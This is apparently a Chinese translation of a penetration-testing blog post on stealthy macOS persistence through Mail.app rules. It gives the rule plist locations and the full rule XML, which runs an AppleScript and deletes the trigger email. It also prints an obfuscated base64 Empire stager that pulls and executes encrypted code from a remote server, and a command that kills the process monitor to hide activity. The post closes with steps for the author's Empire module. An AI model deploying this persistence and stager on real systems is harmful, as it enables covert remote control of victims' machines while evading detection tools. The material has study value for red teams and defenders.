通過 OS X 的郵件規則實現持久控制
在這篇文章中,我們將會介紹如何在 OS X上通過使用 Mail.app 實現持久化駐留。我的靈感來自於一款類似的被設計用來同Microsoft Outlook一起運行的工具。我的第一個意外發現來自於MWRInfoSecurity的這篇文章,另外一個來自於SilentBreak Security 的這篇博文。雖然Mail.app中的規則複製不能跨越目錄域,這也正是Xrulez和Ruler中令人驚嘆的規則之一,但是它比起其他的持久化方法來講,確實有一些較為明顯的優勢。
l 在被遠程激活之前,它都不會顯示網路籤名
l 它不會被任何檢測持久化的工具檢測到(比如KnockKnock)。
目標網路7天/24小時處於監測狀態的情況並不罕見。大多數持久化方法要求惡意軟體不斷地向命令控制伺服器發出信號。這樣通常會出現一個獨特的,可以被精明的分析師發現的網路籤名。一個具有安全意識的用戶或組織,可以列舉出惡意軟體常用的保證持久性的區域。典型的有LaunchDeamons,Cron Jobs,Kernel Extensions。
KnockKnock正在系統中運行
雖然這種技術會在主機上留下文件,但是不會被常見的安全工具監測到,這是一個加分項。
要通過標準方式來創建一條mail規則,我們需要點擊Mail->Preferences->Rules->Add Rule。
為了做滲透測試,假設我們不能在GUI內部進行交互,因此我們尋找一種通過shell執行這種操作的辦法。
郵件規則存儲在:
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
$USER代表用戶主目錄的名字,$VERSION代表操作系統版本。MacOS Sierra (10.12)是V4,OS X El Capitan (10.11) 是V3,OS X Lion (10.7) 到 OS X Yosemite (10.10)是V2。
如果用戶正在同步iCloud,那麼郵件規則將會被另一個文件覆蓋,這個文件位於:/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
這個文件將會優先覆蓋/Library/Mail/中的文件,因此,你應該將你的規則添加到這個文件。
當iCloud自動同步發生時,如果默認位置正在被使用,那麼為了使應用程序重新載入新規則,Mail.app將會被退回(重啟)。
還有一個重要警告,那就是除非由存在於相同目錄的RulesActiveState
.plist指定,否則郵件規則將不會處於活動狀態。
以下是我們試著做的可接受的規則的剖析:
<dict>
<key>AllCriteriaMustBeSatisfied</key>
<string>NO</string>
<key>AppleScript</key>
<string>EVIL.scpt</string>
<key>AutoResponseType</key>
<integer>0</integer>
<key>Criteria</key>
<array>
<dict>
<key>CriterionUniqueId</key>
<string>9709BE75-9606-D470-4F04-0A884724105A</string>
<key>Expression</key>
<string>TriggerWord</string>
<key>Header</key>
<string>Subject</string>
</dict>
</array>
<key>Deletes</key>
<string>YES</string>
<key>HighlightTextUsingColor</key>
<string>NO</string>
<key>MarkFlagged</key>
<string>NO</string>
<key>MarkRead</key>
<string>NO</string>
<key>NotifyUser</key>
<string>NO</string>
<key>RuleId</key>
<string>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</string>
<key>RuleName</key>
<string>SpamFilter</string>
<key>SendNotification</key>
<string>NO</string>
<key>ShouldCopyMessage</key>
<string>NO</string>
<key>ShouldTransferMessage</key>
<string>NO</string>
<key>TimeStamp</key>
<integer>147762204</integer>
<key>Version</key>
<integer>1</integer>
</dict>
值得注意的地方有:
l AppleScript — 這標識著AppleScript應該運行,並且這個字元串標識著playload。
l CriterionUniqueId和RuleId —Rule的唯一標識。這條規則的RuleID需要在RulesActiveState.plist激活。
l Expression — 這是我們的規則匹配時需要查找的字元串。
l RuleName — 這是個規則的名字。為了避免被監測,它應該被命名為一些看起來比較無害的名字。
l Deletes — 當條件匹配時,它會刪除郵件。
為了激活規則,需要在RulesActiveState.plist中包含RuleID,如下:
<key>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</key>
<true/>
現在已經覆蓋了規則創建了,是時候談談playload了。
Playloads由AppleScript創建。
以下是一個playload示例:
do shell script "echo "importsys,base64;exec(base64.b64decode(aW1wb3J0IHN5cztvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xMC4xMDo4MDgwJzt0PScvYWRtaW4vZ2V0LnBocCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1ZODROTmF3cHd1VHN4ZEF0VVRsa0ZvWGc3b2c9IildO2E9by5vcGVuKHNlcnZlcit0KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd2JnRSXnJhNEZiM0hrWTkhXUp5LVdocWYlPDB4TjhLXyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10NCmZvciBpIGluIHJhbmdlKDI1Nik6DQogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYNCiAgICBTW2ldLFNbal09U1tqXSxTW2ldDQppPWo9MA0KZm9yIGNoYXIgaW4gZGF0YToNCiAgICBpPShpKzEpJTI1Ng0KICAgIGo9KGorU1tpXSklMjU2DQogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQ0KZXhlYygnJy5qb2luKG91dCkp));"
|python & kill `ps -ax | grep ScriptMonitor |grep -v grep | awk {print $1}`"
AppleScript可以輕鬆地發送命令,就像你在終端中使用」do shell script[3] 「
一樣。第二部分是典型的Empire[4] stager。在&符號之後的附加命令是為了隱藏AppleScript。如果沒有它,則不僅活動監視器中能夠看到AppleScript,而且在MenuBar上還會有活動圖標。看起來就像一個旋轉的齒輪。
我創建了一個Empire模塊[5],你可以使用Empire2.0自動完成這些。我最初的概念證明[6]腳本也可以通過手動運行存在,你可以在其中指定你自己的參數以及payload。我強烈建議給Empire模塊一個齒輪旋轉。
在獲得初始會話之後,使用Empire模塊的步驟:
? 使用模塊persistence/osx/mail(或者你自己的模塊放置的位置)
? 指定Listener,Trigger Word,和RuleName
? 執行
當你想要在一段時間之後執行playload時,你所需要做的就是:
? 使你的Empire服務開啟偵聽。
? 向目標發送郵件,在主題行中指定觸發詞。
電子郵件將會被刪除,因此永遠不會傳遞到收件箱,python將會產生一個程序,這個程序會從你的Empire伺服器拉下stager。
1. Malicious Outlook Rules
2. Malicious Outlook Rules - Silent Break Security
3. do shell script in AppleScript
4. adaptivethreat/Empire
5. https://github.com/n00py/pOSt-eX/blob/master/empire_modules/mail.py
6. https://github.com/n00py/pOSt-eX/blob/master/mail.py
推薦閱讀:
※為什麼現在的移動操作系統都要有狀態欄,是不是最好實現?
※父親的 iPhone 6s 和 5 都有屏鎖,父親去世,包括母親在內的親人都打不開怎麼辦?
※蘋果系統為什麼會把開前圓唇母音 /?/ 顯示成半開前圓唇母音 /?/?
※你是因為什麼才買的iphone7或7P?
※React Native有什麼UI框架可以使用嗎?
TAG:iOS |